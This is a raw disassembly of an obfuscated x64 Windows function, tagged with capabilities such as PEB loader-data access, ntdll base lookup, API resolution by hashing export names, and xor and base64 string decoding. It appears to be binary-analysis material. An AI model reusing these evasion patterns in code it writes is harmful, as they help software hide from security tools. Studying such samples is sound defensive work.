Function at 0x1401d2254
Capabilities:
Access peb ldr_data
Encode data using base64
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x3f0
xor r13d, r13d
mov dword [rsp + 0xac], r13d
movabs rax, 0x1e18c6ca60caf5bc
mov rbx, qword [0x1402b2070]
mov r9, rbx
imul r9, rax
not r9
movabs rcx, 0xa60db2d4215d359a
mov r14, qword [0x1402b2060]
mov rax, r14
xor rax, rcx
and r9, rax
ror r9, 0x3b
shr r9, 8
mov rsi, qword [0x1402b2068]
movabs rax, 0xc67348a6a3a39c10
mov r8, rsi
imul r8, rax
movabs r12, 0x1d24cdf46c13ac1c
sub r8, r12
movabs rax, 0xe29ad2a87fffffff
xor r8, rax
shr r8, 0x1f
not r8
lea rcx, [r8 + r12]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rdx, [0x1402b2060]
movzx eax, r8b
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x7f
mov r15d, 0x8000003f
and ecx, r15d
jge 0x1401d2335
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r8
ror rax, cl
not rax
movabs rcx, 0x6f14a05bf9095d90
mov rdi, rax
imul rdi, rcx
lea r10, [rdi + r12]
mov rdx, r8
imul rdx, r9
sub rdx, r10
movabs rcx, 0x67211f1e2ba20a83
xor rdx, rcx
movzx ecx, r10b
and ecx, 0xf
and ecx, r15d
jge 0x1401d237d
dec ecx
or ecx, 0xffffffc0
inc ecx
rol rdx, cl
movabs rcx, 0xf503be33c66d0440
imul rax, rcx
movabs rcx, 0x74a5881a9fdda310
sub rax, rcx
xor rdx, rax
mov rax, r10
sub rax, qword [0x1402b2078]
xor rdx, rax
movabs rax, 0x59f24d2be544bb12
xor rdx, rax
mov r11, rdx
imul r11, qword [0x1402b2080]
and r11, rbx
xor r11, rax
ror r11, 0x12
imul r11, r10
not r9
imul r9, r8
movabs rax, 0x7cd8a7de63f09082
imul r9, rax
imul rbx, r14, 0xffffffffc4198e88
sub rbx, rsi
mov al, r9b
not al
movzx ecx, al
movzx eax, sil
xor ecx, eax
and ecx, r15d
jge 0x1401d240a
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
lea rcx, [rbx + r12]
add rcx, rdi
not r10
imul r10, rdx
imul rcx, r10
movabs rax, 0xe2db320b93ec53e4
imul rcx, rax
movabs rax, 0xf5ed7e879408d093
xor r8, rax
not r8
xor rcx, r8
xor r11, r9
imul r11, r14
sub rcx, r11
call fcn.14016f760
mov qword [0x1402b3180], rax
xor eax, eax
mov byte [rsp + 0x438], al
mov dword [rsp + 0x29c], 0x3b84cc7c
mov dword [rsp + 0x2a0], 0x9544f452
mov dword [rsp + 0x2a4], 0x3f2911f1
mov dword [rsp + 0x2a8], 0x589aedeb
mov dword [rsp + 0x2ac], 0x8603793
mov dword [rsp + 0x2b0], 0x1e3f40fb
mov dword [rsp + 0x2b4], 0xba8de100
mov eax, 0x9e8f
mov word [rsp + 0x2b8], ax
mov r12, r13
mov ecx, 0x6afe
movabs r13, 0x13cce94adbe8f3f8
xor edx, edx
mov rax, r12
div r13
lea r14d, [rdx + 0x37]
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx r10d, word [rsp + r12*2 + 0x29c]
sub r10w, si
add r10w, cx
mov eax, 0x9204
sub ax, si
xor r10w, ax
movzx ecx, r15w
shl cx, 0xf
movzx eax, r15w
shr ax, 1
or cx, ax
sub r10w, cx
sub r10w, word [0x1402b2058]
sub r10w, word [0x1402b2050]
add r10w, r15w
add r10w, di
mov eax, 0x6fc1
add r10w, ax
lea eax, [rsi + r15]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, r15w
sub r10w, r9w
sub r10w, dx
sub r10w, word [0x1402b2048]
sub r10w, 0x50
add r10w, r11w
add r10w, si
add r10w, word [0x1402b2040]
movzx eax, r15w
sub ax, r9w
add ax, r8w
add ax, si
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx ecx, r15w
shr cx, 7
movzx eax, r15w
shl ax, 9
or cx, ax
add cx, r11w
mov eax, 0x4050
sub cx, ax
xor r10w, cx
mov edx, 0x9d7
add edx, r15d
add dx, dx
sub dx, r10w
mov eax, 0x7100
add eax, r15d
mov ecx, 0x2440
xor ax, cx
sub dx, ax
movzx eax, bx
xor ax, word [0x1402b2038]
sub dx, ax
movzx eax, r15w
xor ax, word [0x1402b2030]
add dx, ax
sub dx, di
sub dx, si
sub dx, r14w
sub dx, word [0x1402b2040]
movzx eax, bx
movzx ecx, r15w
imul ecx, eax
xor dx, cx
mov word [rsp + r12*2 + 0x29c], dx
inc r12
cmp r12, 0xf
mov ecx, 0x6afe
jb 0x1401d24cb
lea rax, [rsp + 0x29c]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], 0x1e
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x180], rax
xor r8d, r8d
mov byte [rsp + 0x440], r8b
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x2c0]
call fcn.14016d948
nop
xor eax, eax
mov byte [rsp + 0x448], al
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x448]
call fcn.140196220
mov rcx, rax
mov qword [rsp + 0x30], rax
xor r13d, r13d
xor edx, edx
mov rax, r13
movabs r8, 0x13cce94adbe8f3f8
div r8
lea r15d, [rdx + 0x37]
movzx r12d, r15w
ror r12w, 8
movzx r14d, r12w
shr r14w, 0xa
movzx eax, r12w
shl ax, 6
or r14w, ax
movzx esi, r14w
ror si, 8
movzx r10d, r12w
shr r10w, 0xd
movzx eax, r12w
shl ax, 3
or r10w, ax
movzx edx, r12w
shl dx, 0xd
movzx eax, r12w
shr ax, 3
or dx, ax
movzx ebx, dx
ror bx, 8
movzx r9d, r12w
shr r9w, 0xc
movzx eax, r12w
shl ax, 4
or r9w, ax
movzx edi, r12w
not di
movzx r11d, word [rcx + r13*2]
sub r11w, r14w
mov eax, 0x6afe
add r11w, ax
mov eax, 0x9204
sub ax, r14w
xor r11w, ax
movzx ecx, r12w
shl cx, 0xf
movzx eax, r12w
shr ax, 1
or cx, ax
sub r11w, cx
sub r11w, word [0x1402b2050]
sub r11w, word [0x1402b2058]
add r11w, r12w
add r11w, si
mov eax, 0x6fc1
add r11w, ax
lea eax, [r14 + r12]
mov ecx, 0x2d07
add ax, cx
xor r11w, ax
sub r11w, r12w
sub r11w, r10w
sub r11w, dx
sub r11w, word [0x1402b2048]
sub r11w, 0x50
add r11w, bx
mov r8, qword [0x1402b2040]
add r11w, r14w
add r11w, r8w
movzx eax, r12w
sub ax, r10w
add ax, r9w
add ax, r14w
xor r11w, ax
movzx eax, r12w
sub ax, r9w
xor ax, r12w
sub r11w, ax
sub r11w, bx
add r11w, r12w
mov eax, 0x4230
add r11w, ax
movzx ecx, r12w
shr cx, 7
movzx eax, r12w
shl ax, 9
or cx, ax
add cx, bx
mov eax, 0x4050
sub cx, ax
xor r11w, cx
mov edx, 0x9d7
add edx, r12d
add dx, dx
sub dx, r11w
mov eax, 0x7100
add eax, r12d
mov ecx, 0x2440
xor ax, cx
sub dx, ax
movzx eax, di
xor ax, word [0x1402b2038]
sub dx, ax
movzx eax, r12w
xor ax, word [0x1402b2030]
add dx, ax
sub dx, si
sub dx, r14w
sub dx, r15w
sub dx, r8w
movzx eax, di
movzx ecx, r12w
imul ecx, eax
xor dx, cx
mov rcx, qword [rsp + 0x30]
mov word [rcx + r13*2], dx
inc r13
cmp r13, 0x13
jb 0x1401d2717
mov qword [rsp + 0x238], rcx
mov qword [rsp + 0x240], 0x26
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x1b0], rax
xor r8d, r8d
mov byte [rsp + 0x60], r8b
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x2e0]
call fcn.14016d948
nop
lea rcx, [rsp + 0x300]
call fcn.14020b220
nop
lea rdx, [rsp + 0x320]
mov rcx, rax
call fcn.1401da054
nop
lea rdx, [rsp + 0x340]
mov rcx, rax
call fcn.1401da054
nop
lea r8, [rsp + 0x2e0]
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.14017079c
mov dword [rsp + 0xac], 1
lea rcx, [rsp + 0x340]
call fcn.140054dd8
nop
lea rcx, [rsp + 0x320]
call fcn.140054dd8
nop
lea rcx, [rsp + 0x300]
call fcn.140054dd8
nop
lea rcx, [rsp + 0x2e0]
call fcn.140054dd8
nop
mov rcx, qword [rsp + 0x238]
xor r13d, r13d
test rcx, rcx
je 0x1401d29fc
mov eax, r13d
cmp qword [rsp + 0x240], r13
jbe 0x1401d29fc
mov byte [rcx + rax], r13b
inc rax
cmp rax, qword [rsp + 0x240]
jae 0x1401d29fc
mov rcx, qword [rsp + 0x238]
jmp 0x1401d29e1
lea r8, [rsp + 0x2c0]
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x380]
call fcn.14017079c
nop
mov eax, 1
and eax, 0xfffffffe
mov dword [rsp + 0xac], eax
lea rcx, [rsp + 0x360]
call fcn.140054dd8
nop
lea rcx, [rsp + 0x2c0]
call fcn.140054dd8
nop
mov rcx, qword [rsp + 0x228]
test rcx, rcx
je 0x1401d2a7a
mov rax, r13
cmp qword [rsp + 0x230], r13
jbe 0x1401d2a7a
mov byte [rcx + rax], r13b
inc rax
cmp rax, qword [rsp + 0x230]
jae 0x1401d2a7a
mov rcx, qword [rsp + 0x228]
jmp 0x1401d2a5f
mov qword [rsp + 0x1b8], r13
mov dword [rsp + 0xa8], r13d
mov dword [rsp + 0xa8], 0x7d1d32be
mov eax, dword [rsp + 0xa8]
add eax, 0xc0f72d35
xor eax, 0xc28a52fb
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
add eax, 0x24578b7a
xor eax, 0xb59f8fc7
sub eax, dword [0x1402b2048]
mov rdx, qword [0x1402b2040]
add eax, 0x55910b0f
add eax, edx
xor eax, 0x8be68a79
add eax, 0x29d1d6d1
xor eax, 0x84bc56dd
mov ebx, dword [0x1402b2030]
xor ebx, 0x24fc24f7
sub ebx, eax
mov eax, dword [0x1402b2038]
xor eax, 0xdb03db08
sub ebx, eax
sub ebx, edx
sub ebx, 0x49e9245
xor ebx, 0x976574b8
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0xa8], ebx
mov qword [rsp + 0x1b8], rbx
mov dword [rsp + 0xa8], r13d
xor eax, eax
mov byte [rsp + 0x58], al
mov dword [rsp + 0x108], 0x3b73cc93
mov eax, 0xf436
mov word [rsp + 0x10c], ax
mov rbx, r13
movabs r13, 0x13cce94adbe8f3f8
xor edx, edx
mov rax, rbx
div r13
lea r15d, [rdx + 0x37]
movzx r12d, r15w
ror r12w, 8
movzx r14d, r12w
shr r14w, 0xa
movzx eax, r12w
shl ax, 6
or r14w, ax
movzx esi, r14w
ror si, 8
movzx r9d, r12w
shr r9w, 0xd
movzx eax, r12w
shl ax, 3
or r9w, ax
movzx edx, r12w
shl dx, 0xd
movzx eax, r12w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r12w
shr r8w, 0xc
movzx eax, r12w
shl ax, 4
or r8w, ax
movzx edi, r12w
not di
movzx r10d, word [rsp + rbx*2 + 0x108]
sub r10w, r14w
mov eax, 0x6afe
add r10w, ax
mov eax, 0x9204
sub ax, r14w
xor r10w, ax
movzx ecx, r12w
shl cx, 0xf
movzx eax, r12w
shr ax, 1
or cx, ax
sub r10w, cx
sub r10w, word [0x1402b2058]
sub r10w, word [0x1402b2050]
add r10w, si
add r10w, r12w
mov eax, 0x6fc1
add r10w, ax
lea eax, [r12 + r14]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, r9w
sub r10w, dx
sub r10w, r12w
sub r10w, word [0x1402b2048]
sub r10w, 0x50
add r10w, r11w
add r10w, r14w
add r10w, word [0x1402b2040]
movzx eax, r8w
sub ax, r9w
add ax, r14w
add ax, r12w
xor r10w, ax
movzx eax, r12w
sub ax, r8w
xor ax, r12w
sub r10w, ax
sub r10w, r11w
add r10w, r12w
mov eax, 0x4230
add r10w, ax
movzx ecx, r12w
shr cx, 7
movzx eax, r12w
shl ax, 9
or cx, ax
add cx, r11w
mov eax, 0x4050
sub cx, ax
xor r10w, cx
mov edx, 0x9d7
add edx, r12d
add dx, dx
sub dx, r10w
mov eax, 0x7100
add eax, r12d
mov ecx, 0x2440
xor ax, cx
sub dx, ax
movzx eax, di
xor ax, word [0x1402b2038]
sub dx, ax
movzx eax, r12w
xor ax, word [0x1402b2030]
add dx, ax
sub dx, si
sub dx, r14w
sub dx, r15w
sub dx, word [0x1402b2040]
movzx eax, r12w
movzx ecx, di
imul ecx, eax
xor dx, cx
mov word [rsp + rbx*2 + 0x108], dx
mov r14d, 1
add rbx, r14
cmp rbx, 3
jb 0x1401d2b4f
lea rax, [rsp + 0x108]
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x250], 6
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x380]
call fcn.14017074c
mov qword [rsp + 0x70], rax
cmp qword [rax + 0x18], 7
mov rbx, qword [rsp + 0x30]
lea r13d, [r14 - 1]
jbe 0x1401d2d8b
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x110], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x118], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x118]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94adc8910cc
mov r10, qword [0x1402b2038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52376ef33
mov rdi, qword [0x1402b2030]
mov rcx, rdi
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x118], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x110]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor rdi, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, rdi
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x110], rcx
and rdx, rcx
cmp rbx, rdx
setne al
mov qword [rsp + 0x118], r13
mov qword [rsp + 0x110], r13
mov r15d, 0x31
mov r12d, 0x4764996c
test al, al
je 0x1401d3216
mov ebx, r13d
mov eax, 0xf55e3c02
mov dword [rsp + 0xd8], eax
mov esi, eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d3034
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xe597f05e
jmp 0x1401d3026
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d3009
cmp r9d, ebx
jne 0x1401d3159
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401d3159
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x1401d3159
mov r8d, dword [r11 + 0x20]
dec edi
mov edx, edi
mov qword [rsp + 0x30], rdx
lea rdx, [r9 + rdi*4]
mov r10d, dword [rdx + r8]
add r10, r9
mov edx, 0xe597f05e
mov r8b, byte [r10]
add r10, r14
test r8b, r8b
je 0x1401d30c1
mov r9d, edx
movsx r8d, r8b
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, r9d
mov r9d, edx
imul r9d, r8d
mov r8b, byte [r10]
add r10, r14
test r8b, r8b
jne 0x1401d308e
mov dword [rsp + 0x78], r9d
mov r9, qword [rax + 0x30]
mov edx, dword [rsp + 0x78]
cmp edx, esi
je 0x1401d30d2
test edi, edi
mov r8d, dword [r11 + 0x20]
jne 0x1401d3067
jmp 0x1401d3159
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
mov r8, qword [rsp + 0x30]
movzx eax, word [rax + r8*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x1401d3161
lea rax, [r11 + rcx]
cmp r8, rax
jae 0x1401d3161
mov ebx, 0xe597f05e
mov esi, ebx
jmp 0x1401d3120
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d3108
jmp 0x1401d313e
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, esi
mov esi, eax
imul esi, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d3129
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1401d2fdd
mov rcx, qword [rsp + 0x1b8]
call r8
mov dword [rsp + 0xfc], r13d
mov dword [rsp + 0xfc], 0xb843949f
mov eax, dword [rsp + 0xfc]
add eax, 0x3359fab5
xor eax, 0x9009c55e
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x59ff9cee
xor eax, 0x45733711
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xd5cbed1b
add eax, ecx
xor eax, 0x2d6dd813
add eax, 0x43c53f5f
xor eax, 0x5f8f5d07
lea edx, [rcx - 0x6b2e3078]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8cd663e
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x273299c1
add ecx, 0x4e0c1058
add ecx, edx
xor ecx, 0x9f1122be
mov dword [rsp + 0xfc], ecx
movsxd rax, ecx
mov qword [rsp + 0x1b8], rax
mov dword [rsp + 0xfc], r13d
jmp 0x1401d3221
mov dword [rsp + 0xd8], 0xf55e3c02
mov ebx, r13d
mov dword [rsp + 0x78], 0xf8b8d814
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d3290
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x9143cc02
jmp 0x1401d3286
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d3269
cmp r9d, ebx
jne 0x1401d330f
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401d330f
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x1401d330f
mov r10d, dword [r11 + 0x20]
dec edi
mov r8d, edi
lea rdx, [r9 + rdi*4]
mov r10d, dword [rdx + r10]
add r10, r9
mov esi, 0x9143cc02
mov dl, byte [r10]
add r10, r14
test dl, dl
je 0x1401d3301
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, esi
mov esi, edx
imul esi, r8d
mov dl, byte [r10]
add r10, r14
test dl, dl
jne 0x1401d32da
mov r8d, edi
cmp esi, dword [rsp + 0x78]
je 0x1401d3317
test edi, edi
mov r10d, dword [r11 + 0x20]
jne 0x1401d32bb
mov rax, qword [rax]
jmp 0x1401d323d
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x1401d33ae
lea rax, [r11 + rcx]
cmp r8, rax
jae 0x1401d33ae
mov ebx, 0x9143cc02
mov edx, ebx
mov dword [rsp + 0x78], ebx
jmp 0x1401d3364
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d334c
add r8, r14
mov al, byte [r8]
test al, al
je 0x1401d3398
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d3375
mov dword [rsp + 0x78], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d330f
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
call r8
mov rbx, rax
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x120], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x128], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x128]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x128], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x120]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x120], rcx
and rcx, rdx
cmp rbx, rcx
setne dil
mov qword [rsp + 0x128], r13
mov qword [rsp + 0x120], r13
lea rcx, [rsp + 0x3a0]
call fcn.140054dd8
nop
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x1401d3626
mov rax, r13
cmp qword [rsp + 0x250], r13
jbe 0x1401d3626
mov byte [rcx + rax], r13b
add rax, r14
cmp rax, qword [rsp + 0x250]
jae 0x1401d3626
mov rcx, qword [rsp + 0x248]
jmp 0x1401d360b
test dil, dil
je 0x1401d7780
mov qword [rsp + 0x130], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x138], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x138]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x138], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x130]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x130], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x138], r13
mov qword [rsp + 0x130], r13
test al, al
jne 0x1401d38ed
mov dword [rsp + 0x100], r13d
mov dword [rsp + 0x100], 0x250fa5a6
mov eax, dword [rsp + 0x100]
add eax, 0x37461236
xor eax, 0xa78ac94a
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
add eax, 0x22f49ecb
xor eax, 0x3d776f32
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x34f8f334
add eax, ecx
xor eax, 0x4f48d44
sub eax, 0x7ef0bb23
xor eax, 0x219131e6
mov edx, dword [0x1402b2030]
xor edx, 0x2322e963
sub edx, eax
mov eax, dword [0x1402b2038]
xor eax, 0xdcdd169c
sub edx, eax
sub edx, ecx
add edx, 0x49caf20e
xor edx, 0xf7cbba54
mov dword [rsp + 0x100], edx
mov dword [rsp + 0x100], r13d
jmp 0x1401d4cdc
mov qword [rsp + 0x140], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x148], rax
